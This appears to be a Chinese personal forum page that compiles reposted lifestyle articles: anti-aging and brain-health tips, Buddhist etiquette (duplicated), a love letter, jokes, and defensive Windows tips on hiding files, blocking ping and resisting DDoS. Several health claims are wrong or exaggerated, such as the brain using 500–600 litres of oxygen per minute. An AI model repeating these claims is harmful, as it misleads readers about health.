新刘诺的个人资料

生活中要严防的催老物质我们在生活中常常可以见到这样的现象，相同年龄和相同工作环境的人，从外表上看可以相差十岁甚至更多。有些人有未老先衰的现象。这种未老先衰的现象是由多种原因造成的，其中常吃某些易催人早衰的物质是一个重要原因。铅会使脑内去钾肾上腺素、多巴胺和5一羟色胺的含量明显降低，造成神经质传导阻滞，引起记忆力衰退、痴呆症、智力发育障碍等症。人体摄铅过多，还会直接破坏神经细胞内遗传物质脱氧核糖核酸的功能，不仅易使人患痴呆症，而且还会使人脸色灰暗过早衰老。粮食、油类、花生、豆类、肉类、鱼类等发生霉变时，会产生大量的病菌和黄曲霉素。这些发霉物一旦被人食用后，轻则发生腹泻、呕吐、头昏、眼花、烦躁、肠炎、听力下降和全身无力等症状，重则可致癌致畸，并促使人早衰。茶具或水具用久以后会产生水垢，如不及时清除干净，经常饮用会引起消化、神经、泌尿、造血、循环等系统的病变而引起衰老，这是由于水垢中含有较多的有害金属元素如镉、汞、砷、铝等造成的。科学家曾对使用过98天的热水瓶中的水垢进行过化学分析，发现有害金属元素较多：镉为0、034毫克、汞为0、44毫克、砷为0、21毫克、铝为0、012毫克。这些有害金属元素对人体危害极大。过氧脂质是一种不饱和脂肪酸的过氧化物。例如炸过鱼、虾、肉等的食用油，放置久后即会生成过氧脂质;长期晒在阳光下的鱼干、腌肉等;长期存放的饼干、糕点、油茶面、油脂等，特别是容易产生哈喇味的油脂，油脂酸败后会产生过氧脂质。研究人员发现，过氧脂质进入人体后，会对人体内的酸系统以及维生素等产生极大破坏作用，并加速促人衰老。国外研究机构经比较分析后指出，中国人喜欢用高温食用油来烹调菜肴，灶台温度比西方家庭的灶台温度高出约50%。通常食用油在高温的催化下，会释放出含有丁二烯成分的烟雾，而长期大量吸入这种物质不仅会改变人的遗传免疫功能，而且易患肺癌。研究报告表明，菜籽油比花生油的致癌危险性更大，因在高温下的菜籽油比花生油释放的丁二烯成分要高出22倍。为避免这种危害，制作菜肴时食油加热最好不要超过油的沸点，以热油为宜，这样可避免引起烟熏火燎损害健康和促使面部生成皱纹。当炉火、煤烟、香烟、灰尘中的有害气体，经呼吸道吸入肺部，渗透到血液中后，就会给人带来极大的危害。尤其是吸烟者，将烟吸入肺部，尼古丁、焦油及一氧化碳等为胆固醇的沉积提供了条件，会造成动脉硬化，促人衰老。

学佛人的人际交往21法【感觉适用于大家】 1、对富贵者：我们学佛人与有钱人、上司、高官、有名望者交往，首先要具有不卑不亢的态度。不卑表示学佛人淡泊心和人格，不亢表示我无越礼之举，这样人家才会敬爱您。如过卑人家会以为我将有求于他或讨好于他，但这以过恭过敬之举易被富贵人生疑。过亢则易使人不高兴，因此而多是非。 2、对贫苦者：学佛人对富贵贫贱者要采取同样的不卑不亢态度。在言谈举止中以诚恳之心对之。千万不要学世人的对富贵者恭敬礼貌，对贫贱者傲慢无礼，这样非但失去佛法平等大悲之旨，更宜招来世人对学佛人的非议。（如果是自己的下属者亦是如此） 3、对初交者：世人都有先入为主的习气，因此第一印象在初交时很重要，必以诚恳的态度对人，“深处思利他，尊他为最上”，并以长久交往往之心以待。 4、对久交者：要推心置腹、竭诚往来。因交往久了，知道对方的优缺点了，一定要严己宽人、多看人家的优点，任何人身上都有我们的可学之处。宜粗不易细、贵和不贵同。（如这人是下属者就要善用人之长，避其人所短） 5、对年长者：虽然年长之人的学识不一定高于我们，但他们的生活阅历必多于我们。因此我们要恭敬他们，多静听其言，并要使自己要用老诚的态度、稳重的仪表来交流，千万不要现浮躁之气、起争辨之心。 6、对年少者：　　先观其心态行止，辩其贤与不贤，并择贤者交之成为益友，多听益友之言而请益之，这样对方必愿与我相交。对不贤之人，应多尽朋友之义而忠告与规劝、不可轻晦讥讽，虽存疏远之心，但对待的态度要与平时无别。如果对方有向善之举，要多加赞扬。 7、对正直者：正直的人以诚信道义待人，与他们相交时不能有一丝虚伪之情，这类人多是世人说的菩萨心肠。与他们交往不管交情深浅，守正不阿、见善而行就是了。 8、对势利者：所谓的势利之人，其实就是我们常说的势利小人。与他们交往千万要注意，因学佛人最看不上的就是这样的人，必须要具备观德莫观失，随顺莫违逆的灵活手段与之相处，不要太执己见之心，要将他们当成菩萨化现小人相来考验我们，多敷衍就是了，否则触怒了他们，我们的逆缘就来到了。在随俗中，不要增己之羞就是了。与他们的交往中看看我们自身是否也多少带有势利之心。 9、对仁厚者：仁厚之人易受人欺。他们以仁厚待我，我必以仁厚待他，绝不可起刻薄之念。与他们交往可增长我们的慈善之心，他们扬人之善、隐人之恶，我们要称善相和，时间久了我们也会成为仁厚之人。 10、对刻薄者：刻薄之人终不能成大事，与他们交往不管其如何刻薄，我们只能以宽厚之心待之。如对方认为我迂腐可欺，在宽厚之外要略加警醒他。他们虽然刻薄，但有时可直接看到我们的不足，虽然有言过之象，但我们可以自省。 11、对豪气者：豪气之人慷慨解囊、千金不吝。我们与之论交要胸襟磊落，见贫困患难之人多思济解之法，这样豪气者才乐于我结交。在交往中不谈势利得失之事，不斤斤计较细微之事，以他们为榜样，遇事则轻财仗义，见义则勇往直前，交往久了必会增长我们的布施之行。

学佛人的人际交往21法 1、对富贵者：我们学佛人与有钱人、上司、高官、有名望者交往，首先要具有不卑不亢的态度。不卑表示学佛人淡泊心和人格，不亢表示我无越礼之举，这样人家才会敬爱您。如过卑人家会以为我将有求于他或讨好于他，但这以过恭过敬之举易被富贵人生疑。过亢则易使人不高兴，因此而多是非。 2、对贫苦者：学佛人对富贵贫贱者要采取同样的不卑不亢态度。在言谈举止中以诚恳之心对之。千万不要学世人的对富贵者恭敬礼貌，对贫贱者傲慢无礼，这样非但失去佛法平等大悲之旨，更宜招来世人对学佛人的非议。（如果是自己的下属者亦是如此） 3、对初交者：世人都有先入为主的习气，因此第一印象在初交时很重要，必以诚恳的态度对人，“深处思利他，尊他为最上”，并以长久交往往之心以待。 4、对久交者：要推心置腹、竭诚往来。因交往久了，知道对方的优缺点了，一定要严己宽人、多看人家的优点，任何人身上都有我们的可学之处。宜粗不易细、贵和不贵同。（如这人是下属者就要善用人之长，避其人所短） 5、对年长者：虽然年长之人的学识不一定高于我们，但他们的生活阅历必多于我们。因此我们要恭敬他们，多静听其言，并要使自己要用老诚的态度、稳重的仪表来交流，千万不要现浮躁之气、起争辨之心。 6、对年少者：　　先观其心态行止，辩其贤与不贤，并择贤者交之成为益友，多听益友之言而请益之，这样对方必愿与我相交。对不贤之人，应多尽朋友之义而忠告与规劝、不可轻晦讥讽，虽存疏远之心，但对待的态度要与平时无别。如果对方有向善之举，要多加赞扬。 7、对正直者：正直的人以诚信道义待人，与他们相交时不能有一丝虚伪之情，这类人多是世人说的菩萨心肠。与他们交往不管交情深浅，守正不阿、见善而行就是了。 8、对势利者：所谓的势利之人，其实就是我们常说的势利小人。与他们交往千万要注意，因学佛人最看不上的就是这样的人，必须要具备观德莫观失，随顺莫违逆的灵活手段与之相处，不要太执己见之心，要将他们当成菩萨化现小人相来考验我们，多敷衍就是了，否则触怒了他们，我们的逆缘就来到了。在随俗中，不要增己之羞就是了。与他们的交往中看看我们自身是否也多少带有势利之心。 9、对仁厚者：仁厚之人易受人欺。他们以仁厚待我，我必以仁厚待他，绝不可起刻薄之念。与他们交往可增长我们的慈善之心，他们扬人之善、隐人之恶，我们要称善相和，时间久了我们也会成为仁厚之人。 10、对刻薄者：刻薄之人终不能成大事，与他们交往不管其如何刻薄，我们只能以宽厚之心待之。如对方认为我迂腐可欺，在宽厚之外要略加警醒他。他们虽然刻薄，但有时可直接看到我们的不足，虽然有言过之象，但我们可以自省。 11、对豪气者：豪气之人慷慨解囊、千金不吝。我们与之论交要胸襟磊落，见贫困患难之人多思济解之法，这样豪气者才乐于我结交。在交往中不谈势利得失之事，不斤斤计较细微之事，以他们为榜样，遇事则轻财仗义，见义则勇往直前，交往久了必会增长我们的布施之行。

喜欢做图的进晋州吧有没有喜欢做图的朋友有的话交流下经验啊~~~

至我的老公亲爱的老公：你好当你看到这篇文章时，请抽出2分钟时间耐心地把它读完。它时你亲爱的老婆用心写地，没有功劳也有苦劳吧？我时一个要强地女孩子，但从认识你以后，我学会了流泪。你说你病了，我会心烦。嘴上不说安慰地话，心里却在责备自己没有在你身边把你照顾好。那一刻，我想哭在外人眼里，我也许是个不幸地孩子（家庭方面）。但我不那样认为。我从没抱怨过。因为比我不幸地人多了。所以，我不想你用可怜地口气和我说话。因为我需要地不是可怜，而是爱，更确切地说，我更需要一个温暖地家从认识你的那天起，我的话费直线上升，原因很简单：我怕找不到你，哪怕是一分钟！所以，当我给你发信息，打电话的时候，请不要嫌我烦。因为我怕你孤单，更怕找不到你，希望你能理解我是个女人，有女人的天性。虽然我平时表现的很大度，但女人天生是小气的。看到你以前女朋友的照片时，我真的有些怕，怕某天你会离开我。。。。。知道我为什么从不查你电话记录或聊天记录吗？因为我怕看到不想看到的结果。。。。。我有我的虚荣心，可以的话，希望你适当满足下。比如当我们一起压马路时，请握紧我的手，当遇到你朋友时，请记得告诉他们，我是你老婆，当有节日时，请适当表示下。这些不算过分吧？两个人在一起，吵架时免不了的。但我希望我们吵过以后都能反思。而且不允许不接对方电话，不允许玩失踪。上次是我太冲动，再次向你道歉：对不起。我们之所以能走到一起，最重要的是我们的父母。所以，当我们在关心彼此时，记得给对方父母打个电话，哪怕只是声问候最后告诉你一句话：你看完这篇文章应该两分钟就足够了，而你亲爱的老婆写完这篇文章却用了120分钟。。。。

怎么回事? 吧里怎么了? 几天没来怎么成这样了? 开始以为我进错了,后来发现确实变了... 我讨厌那些广告贴....

朋友，祝你好运朋友，祝你好运

小技巧让你能彻底隐藏需要保密的文件打开注册表编辑器，依次展开其中的“HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL”，在“ShowAll”键的右框更改“CheckedValue”键值为“0”，更改后即可使“工具→文件夹选项→查看→显示所有文件和文件夹”选项失效，从而彻底隐藏不想让别人看见的“隐藏”文件；若要使“显示所有文件和文件夹”选项重新生效，把上述的“CheckedValue”键值改回为“1”即可。

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原来婚姻就是嫁给习惯和性格第一重境界：和一个自己所爱的人结婚。　　第二重境界：和一个自己所爱的人及他（她）的习惯结婚。　　第三重境界：和一个自己所爱的人及他（她）的习惯、还有他（她）的背景结婚。　　处在第一重境界的夫妻，婚姻相对稳固。　　处在第二重境界的夫妻，婚姻比较稳固。　　处在第三重境界的夫妻，很少见到有离婚的。　　在这个世界上，那些白头偕老的人，一生基本上都结三次婚。　　第一次是在饭店里，在亲朋好友的恭喜和祝福中，与一个自己所爱的人结婚。　　第二次是在家里，两人经过几年磨合，互与对方的习惯结婚。　　第三次是在家族里，与对方的各类亲情结婚。　　第二次和第三次结婚与第一次相比，有很大的不同。没有隆重的婚礼，也没有亲友前来祝贺，惟一在场的是双方的默契。　　真正的婚姻，往往都是发生在最后的两次。　　现在好多人结婚两三年就离婚了，如果仔细地分析一下，就会发现：原因就是没把自己的婚姻从第一境界推入到第二境界。　　大家都知道，沸腾的水能杀死细菌。热恋和沸水一样，也能杀灭当事人身上的缺点和不足。　　那些热恋中完美无缺的白马王子和小鸟依人的姑娘，进入婚姻这杯不温不火的水之后，缺点和不足会像细菌一样重新回来。　　这时你必须跨入婚姻的第二境界，和他（她）的习惯结婚，接纳和包容他（她）的缺点和不足。否则，婚姻就会因根系过浅而萎缩。　　那些本来是非常恩爱的一对，几年后莫名其妙地离婚了。十有八九是拒不进入第二境界的结果。　　婚姻进入第二境界之后，就很少有人把离婚挂在嘴上。在心理上，他们已接受了对方性格中的不足。有的甚至还把对方的这种不足变成自己的一种关怀。　　这时的婚姻是甜美和温馨的，呈现出的最大特点是宽容和互补。　　然而，婚姻的温馨并不能代表婚姻的稳固。稳固的婚姻还需要第三次升华，那就是与对方的各类亲情结婚。　　也就是说，把你对他（她）一人的爱扩展到他（她）的父母和亲友。并且在这种爱中，对婚姻有了智慧的领悟：　　你的另一半不单单属于你，他（她）还属于他（她）的父母和朋友，甚至还属于他（她）自己。婚姻一旦进入这种境界，也便进入禅定的状态，想分开都非常难。　　在爱情的世界里，许多男人往往误解婚姻就是娶一个女人，而忽略了还要娶过来女人自身的追求，以及女人身后的背景。　　许多女人误解婚姻就是嫁一个男人，而不知道还要嫁给这个男人的习惯和性格，以及这个男人背后的家族。这种认识上的错误，让我们在这个世界上，看到了不少破碎的婚姻。

新年快乐过年了，没事的就多回吧里看看吧~~~

橙子的16个神奇妙用一、橙汁篇 1.盐味橙汁——补充体力运动后饮用橙汁，含量丰富的果糖能迅速补充体力，而高达85%的水分更能解渴提神。特别提醒橙汁榨好后立即饮用，否则空气中的氧会使其维生素C的含量迅速降低。加点盐饮用，效果更是明显。 2.橙汁卸妆——深层洁肤用洗面巾浸透橙汁擦拭面部皮肤，充分吸收5分钟后用清水洗净，既能卸妆，又可彻底清洁面部污垢和油脂，发挥深层洁肤功效。即使敏感的肌肤也可放心使用。但特别提醒，使用橙汁洁肤后尽量避免阳光曝晒。二、橙籽篇 3.橙籽面膜——紧致肌肤将2茶匙橙籽用搅拌机打成粉末，混合蒸馏水制成糊状面膜。每周敷1～2次，能提高皮肤毛细血管的抵抗力，达到紧致肌肤的目的。皮肤敏感的人可先做皮肤测试，将自制面膜涂于耳后，5～10分钟后洗净，若没感到不适便可安心使用。 4.橙籽粉——治疗风湿将风干的橙籽放入锅中焙炒，焙炒时注意不要炒焦，但尽量

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回家喽明天下午到晋州，有聚会啊，活动啊通知声啊~不想每天闷在家里

一元钱能干什么　▲可以买没有洒花生米的甜筒一根。　　▲可以在街头小摊上买一份《南方都市报》或一根台湾热狗。　　▲可以到文具店换两支铅笔。　　▲可以在地下黑网吧上网半小时。　　▲在女朋友面前，可以做一个很潇洒的动作，把它放进一个乞丐的破碗里，假装自己充满爱心。　　▲可以将它拿给正在上幼儿园或小学的儿女，然后让儿女谎称是在路上拾得的，交给班主任，得口头表扬一次。　　▲吃完早餐后，可以粗声大气地向服务员再多要一杯清水似的豆浆。　　▲在城区，坐起步价为7元的“的士”时，可以为四舍五入作好付费的准备。　　▲在火车站或汽车站，可以上厕所方便一次。　　▲伤风感冒时，可以买一包纸巾救急。　　▲可以打市内电话一次，通话时间为3分钟内。　　▲在厨房炒菜缺少调料时，可以用来收买一个小孩做脚工替你到楼下去打酱油。　　▲可以在夏季，换两根冰棍吃。　　▲向人再借多一元钱的话，可以坐公共汽车或中巴大约两公里路，也可以买南粤风采彩票一注。　　▲可以在路边擦鞋档坐下来，很舒服地让人帮你擦拭皮鞋一次。　　▲可以买一枚八角钱的邮票和一个信封，给平日老是给你穿小鞋的上司寄一封诬告信或寄一封谩骂信。　　▲可以给异性网友连续发10条有趣的短信，引其上钩。　　▲夜晚停电时，可以买一支蜡烛点着，然后在烛光下写一篇题为《一元钱能干什么？》的小文章。

十大名不副实球队主力(组图) 马特-邦纳（马刺）　　首发比例：16场/28场　　场均出场时间：21.5分钟　　场均数据：8分4.6个篮板1.1次助攻　　有着一手三分绝活的大个球员邦纳近来坐稳了马刺的主力位置。不过除了奥博托对邦纳的出场时间的强势冲击，吉诺比利的登场也往往意味着邦纳该回到替补席了。当然这也有情可原，毕竟每个成功“第六人”的背后都会有一个名不副实的主力，而吉诺比利恰恰是联盟最顶级的“第六人”。

NBA意想不到的八大瞬间(组图) 赛场同时惊现两个诺西奥尼！？

浅谈IP安全策略封闭端口与防范被Ping Ping命令它可以向你提供的地址发送一个小的数据包，然后侦听这台机器是否有“回答”。查找现在哪些机器在网络上活动。使用Ping入侵即是ICMP入侵，原理是通过Ping在一个时段内连续向计算机发出大量请求使得计算机的CPU占用率居高不下达到100%而系统死机甚至崩溃。基于此，写这篇IP安全策略防Ping文章以保障自己的系统安全。其实防Ping安装和设置防火墙也可以解决，但防火墙并不是每一台电脑都会去装，要考虑资源占用还有设置技巧。如果你安装了防火墙但没有去修改、添加IP规则那一样没用。有些配置不是很高，为避免给防火墙占用资源，用手工在自己系统中设置安全略是一个上上的办法。下面就写下具体创建过程：（一）创建IP安全策略 1、依次单击“开始→控制面板→管理工具→本地安全策略”，打开“本地安全设置”，右击该对话框左侧的“IP安全策略，在本地计算机”选项，执行“创建IP安全策略”命令。 2、在出现的“默认响应规则身份验证方法”对话框中我们选中“此字符串用来保护密钥交换（预共享密钥）”选项，然后在下面的文字框中任意键入一段字符串。（如“禁止 Ping”） 3、完成了IP安全策略的创建工作后在“IP筛选器列表”窗口中单击“添加”按钮，此时将会弹出“IP筛选器向导”窗口，我们单击“下一步”，此时将会弹出“IP通信源”页面，在该页面中设置“源地址”为“我的IP地址”；“目标地址”为“任何IP地址”，任何IP地址的计算机都不能Ping你的机器。在“筛选器属性”中可封闭端口。比如封闭TCP协议的135端口：在“选择协议类型”的下拉列表中选择“TCP”，然后在“到此端口”下的文本框中输入“135”，点击“确定”按钮，这样就添加了一个屏蔽 TCP 135（RPC）端口的筛选器，它可以防止外界通过135端口连上你的电脑。重复可封闭TCP UDP等自己认为需要封闭的端口。 4、依次单击“下一步”→“完成”，此时，你将会在“IP筛选器列表”看到刚刚创建的筛选器，将其选中后单击“下一步”，我们在出现的“筛选器操作”页面中设置筛选器操作为“需要安全”选项。（二）指派IP安全策略安全策略创建完毕后并不能马上生效，我们还需通过“指派”功能令其发挥作用。方法是：在“控制台根节点”中右击“新的IP安全策略”项，然后在弹出的右键菜单中执行“指派”命令，即可启用该策略。至此，这台主机已经具备了拒绝其他任何机器Ping自己IP地址的功能，不过在本地仍然能够Ping通自己。经过这样的设置之后，所有用户（包括管理员）都不能在其他机器上对此服务器进行Ping操作。从此你再也不用担心被Ping威胁。如果再把一些黑客工具、木马常探寻的端口封闭那你的系统就更加固若金汤了。

注意七种有损脑健康的坏习惯导语：七种坏习惯，有损脑健康，看看您占了几个？　　1、长期饱食　　现代营养学研究发现，进食过饱后，大脑中被称为‘纤维芽细胞生长因子’的物质会明显增多。如果长期饱食的话，势必导致脑动脉硬化，出现大脑早衰和智力减退等现象。人们在对待饮食的量上，“吃要吃饱”仍是相当多的人的饮食要求，一日三餐都狂吃海饮者大有人在，毫无节制的饮食使人的胃、肠等消化系统时时处于紧张的工作状态，各内脏器官也被超负荷的利用而无法保养。　　2、轻视早餐　　不吃早餐使人的血糖低于正常供给，对大脑的营养供应不足，久之对大脑有害。此外，早餐质量与智力发展也有密切联系。据研究，一般吃高蛋白早餐的儿童在课堂上的最佳思维普遍相对延长，而食素的儿童情绪和精力下降相对较快。甜食过量：甜食过量的儿童往往智商较低。　　3、长期吸烟　　德国医学家的研究表明，常年吸烟使脑组织呈现不同程度萎缩，易患老年性痴呆。因为长期吸烟可引起脑动脉硬化，日久导致大脑供血不足，神经细胞发生病变，继而发生脑萎缩。　　4、睡眠不足　　大脑消除疲劳的主要方式是睡眠。长期睡眠不足或质量太差，只会加速脑细胞的衰退，聪明的人也会变得糊涂起来。　　5、少言寡语　　大脑中有专司语言的叶区，经常说话也会促进大脑的发育和锻炼大脑的功能。应该多说一些内容丰富、有较强哲理性或逻辑性的话。整日沉默寡言、不苟言笑的人并不一定就聪明。　　6、空气污染　　大脑是全身耗氧量最大的器官，平均每分钟消耗氧气500-600升。只有充足的氧气供应才能提高大脑的工作效率。用脑时，特别需要讲究工作环境的空气卫生。　　7、蒙头睡觉　　随着棉被中二氧化碳浓度升高，氧气浓度不断下降，长时间吸进潮湿空气，对大脑危害极大。

长期熬夜的10大严重健康后果如果你想身体健康，那么保证每晚高质量且充足的睡眠是非常重要的。如果你每晚不能保证7-8个小时的睡眠，后果并不是白天疲倦那么简单。睡眠不足或者质量不高会引起心血管，免疫系统以及神经系统的疾病。大约5000万至7000万美国人受睡眠障碍困扰----失眠或者睡眠呼吸暂停。　　1.睡眠不足导致肥胖　　那些每天睡眠低于6.5小时的人更容易得肥胖症。研究指出，睡眠不足可能使人体分泌更多的“饥饿荷尔蒙”，让人过食导致肥胖。　　2.睡眠障碍导致进食过量　　患有睡眠呼吸暂停的人群更容易进食含高胆固醇，蛋白质和饱和脂肪的食物。　　3. 可能引起糖尿病　　每夜睡眠少于5小时的人比普通人得糖尿病的机率高2.5倍。　　4. 容易引起心脏病　　每夜睡眠少于5小时的妇女心脏病发作机率比普通人高45%。　　5. 血压会升高　　睡眠呼吸暂停和慢性血压高有着紧密的联系。睡眠障碍越大，血压越高。　　6. 容易引发交通事故　　20%的导致严重伤亡的交通事故与司机睡眠不足有关。　　7. 年老者容易跌倒　　睡眠质量欠佳的老人白天跌倒的机率比普通老人高2-4.5倍。　　8. 容易引发抑郁　　睡眠不足的人更容易得抑郁症，精神疾病以及滥用酒精。据研究显示，睡眠不足的学生容易抑郁并且有自卑感。　　9. 幼儿容易得行为障碍　　患失眠以及睡眠障碍的儿童更容易发生行为障碍，如注意力不集中。　　10. 死亡机率大增　　每晚睡眠时间少于5小时的人死亡的机率比普通人高15%。

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确保网络安全避免DDoS攻击的几个方法一、预防为主保证安全 DdoS攻击是黑客最常用的攻击手段，下面列出了对付它的一些常规方法。 (1)定期扫描要定期扫描现有的网络主节点，清查可能存在的安全漏洞，对新出现的漏洞及时进行清理。骨干节点的计算机因为具有较高的带宽，是黑客利用的最佳位置，因此对这些主机本身加强主机安全是非常重要的。而且连接到网络主节点的都是服务器级别的计算机，所以定期扫描漏洞就变得更加重要了。 (2)在骨干节点配置防火墙防火墙本身能抵御DdoS攻击和其他一些攻击。在发现受到攻击的时候，可以将攻击导向一些牺牲主机，这样可以保护真正的主机不被攻击。当然导向的这些牺牲主机可以选择不重要的，或者是linux以及unix等漏洞少和天生防范攻击优秀的系统。 (3)用足够的机器承受黑客攻击这是一种较为理想的应对策略。如果用户拥有足够的容量和足够的资源给黑客攻击，在它不断访问用户、夺取用户资源之时，自己的能量也在逐渐耗失，或许未等用户被攻死，黑客已无力支招儿了。不过此方法需要投入的资金比较多，平时大多数设备处于空闲状态，和目前中小企业网络实际运行情况不相符。 (4)充分利用网络设备保护网络资源所谓网络设备是指路由器、防火墙等负载均衡设备，它们可将网络有效地保护起来。当网络被攻击时最先死掉的是路由器，但其他机器没有死。死掉的路由器经重启后会恢复正常，而且启动起来还很快，没有什么损失。若其他服务器死掉，其中的数据会丢失，而且重启服务器又是一个漫长的过程。特别是一个公司使用了负载均衡设备，这样当一台路由器被攻击死机时，另一台将马上工作。从而最大程度的削减了DdoS的攻击。 (5)过滤不必要的服务和端口可以使用工具来过滤不必要的服务和端口，即在路由器上过滤假IP。只开放服务端口成为目前很多服务器的流行做法，例如WWW服务器那么只开放80而将其他所有端口关闭或在防火墙上做阻止策略。 (6)检查访问者的来源使用通过反向路由器查询的方法检查访问者的IP地址是否是真，如果是假的，它将予以屏蔽。许多黑客攻击常采用假IP地址方式迷惑用户，很难查出它来自何处。因此，减少假IP地址的出现，有助于提高网络安全性。 (7)过滤所有RFC1918 IP地址 RFC1918 IP地址是内部网的IP地址，像10.0.0.0、192.168.0.0 和172.16.0.0，它们不是某个网段的固定的IP地址，而是Internet内部保留的区域性IP地址，应该把它们过滤掉。此方法并不是过滤内部员工的访问，而是将攻击时伪造的大量虚假内部IP过滤，这样也可以减轻DdoS的攻击。 (8)限制SYN/ICMP流量用户应在路由器上配置SYN/ICMP的最大流量来限制SYN/ICMP封包所能占有的最高频宽，这样，当出现大量的超过所限定的SYN/ICMP流量时，说明不是正常的网络访问，而是有黑客入侵。早期通过限制SYN/ICMP流量是最好的防范DOS的方法，虽然目前该方法对于DdoS效果不太明显了，不过仍然能够起到一定的作用。二、寻找机会应对攻击如果用户正在遭受攻击，他所能做的抵御工作将是非常有限的。因为在原本没有准备好的情况下有大流量的灾难性攻击冲向用户，很可能在用户还没回过神之际，网络已经瘫痪。但是，用户还是可以抓住机会寻求一线希望的。 (1)检查攻击来源：通常黑客会通过很多假IP地址发起攻击，此时，用户若能够分辨出哪些是真IP哪些是假IP地址，然后了解这些IP来自哪些网段，再找网网管理员将这些机器关闭，从而在第一时间消除攻击。如果发现这些IP地址是来自外面的而不是公司内部的IP的话，可以采取临时过滤的方法，将这些IP 地址在服务器或路由器上过滤掉。 (2)找出攻击者所经过的路由，把攻击屏蔽掉：若黑客从某些端口发动攻击，用户可把这些端口屏蔽掉，以阻止入侵。不过此方法对于公司网络出口只有一个，而又遭受到来自外部的DdoS攻击时不太奏效，毕竟将出口端口封闭后所有计算机都无法访问internet了。 (3)最后还有一种比较折中的方法是在路由器上滤掉ICMP：虽然在攻击时他无法完全消除入侵，但是过滤掉ICMP后可以有效的防止攻击规模的升级，也可以在一定程度上降低攻击的级别。总结: 目前网络安全界对于DdoS的防范主要靠平时维护和扫描来对抗。如果我们按照本文的方法和思路去防范DdoS的话，收到的效果还是非常显著的，可以将攻击带来的损失降低到最小。

教你将文件秘密加密隐藏在图片中一、图片“外壳”替你遮挡一切　　记得以前大家想要隐藏哪个文件，只要右击其文件，选择“属性”选项，勾选上里面的“隐藏”复选框，就可很好的将其重要文件隐藏。可是现在随着人们电脑水平的逐步发展，有谁还不知道在“文件夹”选项里，勾选上“显示所有文件和文件夹”单选框，来查找隐藏文件

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一个小学生造句，哈哈笑死人啦题目：其中学生：我的其中一只左脚受伤了。批语：你是蜈蚣吗？题目：陆陆续续学生：下班了，爸爸陆陆续续地回家了。批语：你到底有几个爸爸呀？题目：欣欣向荣学生：我的弟弟长得欣欣向荣。批语：孩子，你弟弟是植物人吗？题目：难过学生：我家门前有条水沟很难过。批语：老师更难过。题目：又……又学生：我的妈妈又矮又高又胖又瘦。批语：你的妈妈是变形金钢吗？题目：况且学生：一列火车经过，况且况且况且况且。批语：我死了算了。题目：马上学生：我高兴地骑在马上。批语：你下来吧

~~~~~~~~~~~~~~~~送给不知足的朋友~~~~~~~~~~~~~~~~~~ 终日忙碌只为饥，才得饱来又思衣。绫罗绸缎买几件，抬头看看房屋低。高楼大厦盖几座，身边又少美貌妻。娶下娇妻并美妾，恨无天地少根基。置得良田千万顷，出入无骄少马骑。骡马成群骄已备，叹无官职被人欺。县丞主薄不愿做，想要朝中挂紫衣。五品六品还嫌少，三品四品也嫌低。当朝一品为宰相，还想皇座云登基。心满意足为天子，渴望万世无死期。人心不足蛇吞象，生忙到死费心机。若要世人离熬煎，行善念佛极乐去

[洗衣粉的6道是非题] 加香洗衣粉并不好大多数购买洗涤用品的人除了考虑“是否洗得干净”外，第二个考虑就是“香味是否好闻”。然而，绝大多数香料都是人工合成的，其化学成分中有95％来自石油，如苯和醛，这些物质可以致癌，还会导致生殖障碍，但更常见的是引起过敏性皮炎。 1手洗衣物不用洗衣粉辨析：正确皮肤长期直接接触碱性洗衣粉后，皮肤表面的弱酸环境就会遭到破坏，其抑制细菌生长的作用也会消失，容易导致皮肤瘙痒，甚至引起过敏性皮炎等症状或在皮肤上留下色素沉着。所以手洗衣物时，最好用肥皂。2洗衣粉能一粉多用辨析：错误生活中，有不少人把洗衣粉当“万用清洁剂”，除了洗衣服，还拿来擦洗家具、地板，认为它有去污、消毒、杀菌的作用。殊不知，这样做可能导致洗衣粉进入人体。专家提醒，即使进入体内的洗衣粉数量十分微小，也会引起毒害。你还敢一粉多用吗？3多功能洗衣粉的效果才好辨析：错误很多洗衣粉的广告中都宣传添加了某些新成分，具有更多更强的洗涤功能。这些成分主要包括表面活性剂、助洗剂、稳定剂和酶等，以达到易溶、洁净、柔化、起泡、防止衣物静电等目的。但洗衣粉中添加的物质多了，对我们的健康可不是什么好事。常用的助洗剂对人体肝脏有所损害；而表面活性剂很早就被发现会破坏皮肤角质层，造成皮肤粗糙，现在已被视为污染环境的一大公害；强力洗衣粉所含的碱性物质除了吸收水分外，还能破坏人体细胞膜，使组织蛋白变性；增白洗衣粉中所含的有机氯、荧光剂是有毒物质，容易在人体内蓄积，对健康造成损害。4洗衣粉和消毒液是亲密伙伴辨析：错误许多主妇在洗衣服时，为了除菌，都习惯加点消毒液，有些人干脆把洗衣粉和消毒液同时放进洗衣机里。其实，这样不但起不到杀菌效果，对人的健康也有危害。消毒液属于含氯的酚类消毒剂，过量或不正确使用同样会有危险。而洗衣粉中多含有表面活性剂，如果将洗衣粉和消毒液混合使用，很容易发生化学反应，使各自的功效减弱。此外，若将含氯的消毒液与含酸的洗衣粉混用，会导致氯气产生。当氯气浓度过高时，会刺激人的眼、鼻、喉等器官，严重时还会损伤人的心肺组织，甚至危及生命。所以正常的洗涤方法应该是：在洗衣机的一桶水中加入3 5滴消毒液，或是加水配成1% 5%的消毒溶液，将衣服、被单等放入浸泡30 60分钟，然后再使用洗衣粉正常洗涤。健康链接：消毒液不要经常用消毒液多数是用来消除病原微生物污染的，经常使用会减弱人体抵抗力。一般情况下一个月用一两次足矣，如果遇到传染病高发期，可以适当增加消毒液用量。5洗衣粉也有保质期辨析：正确普通洗衣粉在规定存储条件下，一般可保存两年左右，而添加了特殊成分的洗衣粉，使用年限可能达不到两年。保存洗衣粉时，最好放在有盖子的塑料瓶子或罐子里，一方面可以避免洗衣粉吸湿结块；另一方面也避免香气散发后使人吸入更多的合成香精。6热水洗衣服洗得更干净辨析：错误家里洗衣服常要预洗，目的都在于让水充分浸透衣物，水深入织物纤维后可将水溶性的污物溶解，从而减少洗涤剂的用量，增强洗净效率。洗衣服的水温也不是越高越好。因为我们常用各种含酶洗衣粉，其中的酶制剂主要有碱性蛋白酶和碱性脂肪酶。碱性蛋白酶用于分解蛋白质类污物，如汗渍、血渍等；碱性脂肪酶则主要作用于脂肪酸及其酯类污物，也就是我们通常所指的油污类。两种酶的活性高低与温度有关，大约40℃为最适合。温度过高或过低都会降低酶的活性。其次，蛋白质有变性作用。其显著特征就是蛋白质凝固，溶解性显著降低，鸡蛋煮熟后凝固就是一例。引起变性的条件之一就是高温。衣物上的蛋白类污物同样会是这样。所以，如果洗衣时水温过高，会使它们变性凝固于织